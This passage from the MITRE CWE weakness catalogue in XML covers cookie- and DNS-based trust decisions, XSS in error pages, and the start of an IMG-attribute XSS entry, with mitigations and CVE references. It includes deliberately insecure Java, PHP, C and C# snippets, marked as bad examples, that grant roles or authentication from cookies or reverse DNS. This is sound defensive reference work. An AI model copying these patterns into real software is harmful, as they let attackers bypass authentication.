               <Note>Attackers can bypass the security decision to access whatever is being protected. The consequences will depend on the associated functionality, but they can range from granting additional privileges to untrusted users to bypassing important security checks. Ultimately, this weakness may lead to exposure or modification of sensitive data, system crash, or execution of arbitrary code.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-10">
               <Method>Manual Static Analysis</Method>
               <Description>Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.</Description>
               <Effectiveness>High</Effectiveness>
               <Effectiveness_Notes>The effectiveness and speed of manual analysis will be reduced if the there is not a centralized security mechanism, and the security logic is widely distributed throughout the software.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                           <xhtml:li>Binary Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Web Application Scanner</xhtml:li>
                           <xhtml:li>Web Services Scanner</xhtml:li>
                           <xhtml:li>Database Scanners</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Fuzz Tester</xhtml:li>
                           <xhtml:li>Framework-based Fuzzer</xhtml:li>
                           <xhtml:li>Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Attack Modeling</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-14">
               <Phase>Architecture and Design</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>
                  <xhtml:p>Store state information and sensitive data on the server side only.</xhtml:p>
                  <xhtml:p>Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.</xhtml:p>
                  <xhtml:p>If information must be stored on the client, do not do so without encryption and integrity checking, or otherwise having a mechanism on the server side to catch tampering. Use a message authentication code (MAC) algorithm, such as Hash Message Authentication Code (HMAC) [REF-529]. Apply this against the state or sensitive data that has to be exposed, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that a strong hash function is used (CWE-328).</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-4.2">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>With a stateless protocol such as HTTP, use a framework that maintains the state for you.</xhtml:p>
                  <xhtml:p>Examples include ASP.NET View State [REF-756] and the OWASP ESAPI Session Management feature [REF-45].</xhtml:p>
                  <xhtml:p>Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-15">
               <Phase>Architecture and Design</Phase>
               <Description>For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-16">
               <Phase>Operation</Phase>
               <Phase>Implementation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-6">
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>
                  <xhtml:p>Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.</xhtml:p>
                  <xhtml:p>Identify all inputs that are used for security decisions and determine if you can modify the design so that you do not have to rely on submitted inputs at all. For example, you may be able to keep critical information about the user's session on the server side instead of recording it within external data.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-15">
               <Intro_Text>The following code excerpt reads a value from a browser cookie to determine the role of the user.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>Cookie[] cookies = request.getCookies();<xhtml:br/>for (int i =0; i&lt; cookies.length; i++) {<xhtml:div style="margin-left:1em;">Cookie c = cookies[i];<xhtml:br/>if (c.getName().equals("role")) {<xhtml:div style="margin-left:1em;">userRole = c.getValue();</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-16">
               <Intro_Text>The following code could be for a medical records application. It performs authentication by checking if a cookie has been set.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$auth = $_COOKIES['authenticated'];<xhtml:br/>if (! $auth) {<xhtml:div style="margin-left:1em;">if (AuthenticateUser($_POST['user'], $_POST['password']) == "success") {<xhtml:div style="margin-left:1em;">// save the cookie to send out in future responses<xhtml:br/>setcookie("authenticated", "1", time()+60*60*2);</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">ShowLoginScreen();<xhtml:br/>die("\n");</xhtml:div>}</xhtml:div>}<xhtml:br/>DisplayMedicalHistory($_POST['patient_ID']);</xhtml:div>
               </Example_Code>
               <Body_Text>The programmer expects that the AuthenticateUser() check will always be applied, and the "authenticated" cookie will only be set when authentication succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie.</Body_Text>
               <Body_Text>However, the attacker can set the "authenticated" cookie to a non-zero value such as 1. As a result, the $auth variable is 1, and the AuthenticateUser() check is not even performed. The attacker has bypassed the authentication.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-17">
               <Intro_Text>In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>Cookie[] cookies = request.getCookies();<xhtml:br/>for (int i =0; i&lt; cookies.length; i++) {<xhtml:div style="margin-left:1em;">Cookie c = cookies[i];<xhtml:br/>if (c.getName().equals("authenticated") &amp;&amp; Boolean.TRUE.equals(c.getValue())) {<xhtml:div style="margin-left:1em;">authenticated = true;</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-93">
               <Intro_Text>The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>struct hostent *hp;struct in_addr myaddr;<xhtml:br/>char* tHost = "trustme.example.com";<xhtml:br/>myaddr.s_addr=inet_addr(ip_addr_string);<xhtml:br/>
                     <xhtml:br/>hp = gethostbyaddr((char *) &amp;myaddr, sizeof(struct in_addr), AF_INET);<xhtml:br/>if (hp &amp;&amp; !strncmp(hp-&gt;h_name, tHost, sizeof(tHost))) {<xhtml:div style="margin-left:1em;">trusted = true;</xhtml:div>} else {<xhtml:div style="margin-left:1em;">trusted = false;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String ip = request.getRemoteAddr();<xhtml:br/>InetAddress addr = InetAddress.getByName(ip);<xhtml:br/>if (addr.getCanonicalHostName().endsWith("trustme.com")) {<xhtml:div style="margin-left:1em;">trusted = true;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="C#">
                  <xhtml:div>IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);<xhtml:br/>IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);<xhtml:br/>if (hostInfo.HostName.EndsWith("trustme.com")) {<xhtml:div style="margin-left:1em;">trusted = true;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2009-1549</Reference>
               <Description>Attacker can bypass authentication by setting a cookie to a specific value.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1549</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1619</Reference>
               <Description>Attacker can bypass authentication and gain admin privileges by setting an "admin" cookie to 1.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1619</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0864</Reference>
               <Description>Content management system allows admin privileges by setting a "login" cookie to "OK."</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0864</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5784</Reference>
               <Description>e-dating application allows admin privileges by setting the admin cookie to 1.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5784</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-6291</Reference>
               <Description>Web-based email list manager allows attackers to gain admin privileges by setting a login cookie to "admin."</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-6291</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>SEC09-J</Entry_ID>
               <Entry_Name>Do not base security checks on untrusted sources</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-754"/>
            <Reference External_Reference_ID="REF-529"/>
            <Reference External_Reference_ID="REF-756"/>
            <Reference External_Reference_ID="REF-45"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-01-18</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="81" Name="Improper Neutralization of Script in an Error Message Web Page" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters that could be interpreted as web-scripting elements when they are sent to an error page.</Description>
         <Extended_Description>
            <xhtml:p>Error pages may include customized 403 Forbidden or 404 Not Found pages.</xhtml:p>
            <xhtml:p>When an attacker can trigger an error that contains script syntax within the attacker's input, then cross-site scripting attacks may be possible.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="79" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanAlsoBe" CWE_ID="209" View_ID="1000"/>
            <Related_Weakness Nature="CanAlsoBe" CWE_ID="390" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Do not write user-controlled input to error pages.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-30.1">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>
                  <xhtml:p>Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.</xhtml:p>
                  <xhtml:p>The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-43">
               <Phase>Implementation</Phase>
               <Description>With Struts, write all data from form beans with the bean's filter attribute set to true.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-31">
               <Phase>Implementation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.</Description>
               <Effectiveness>Defense in Depth</Effectiveness>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0840</Reference>
               <Description>XSS in default error page from Host: header.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0840</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1053</Reference>
               <Description>XSS in error message.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1053</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1700</Reference>
               <Description>XSS in error page from targeted parameter.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1700</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>XSS in error pages</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="198"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 11: Failure to Handle Errors Correctly.&#34; Page 183"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Name, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">XSS in Error Pages</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Sanitize Directives in an Error Message Web Page</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-06-21">Improper Sanitization of Script in an Error Message Web Page</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="82" Name="Improper Neutralization of Script in Attributes of IMG Tags in a Web Page" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The web application does not neutralize or incorrectly neutralizes scripting elements within attributes of HTML IMG tags, such as the src attribute.</Description>
         <Extended_Description>Attackers can embed XSS exploits into the values for IMG attributes (e.g. SRC) that is streamed and then executed in a victim's browser. Note that when the page is loaded into a user's browsers, the exploit will automatically execute.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="83" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-30.1">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>
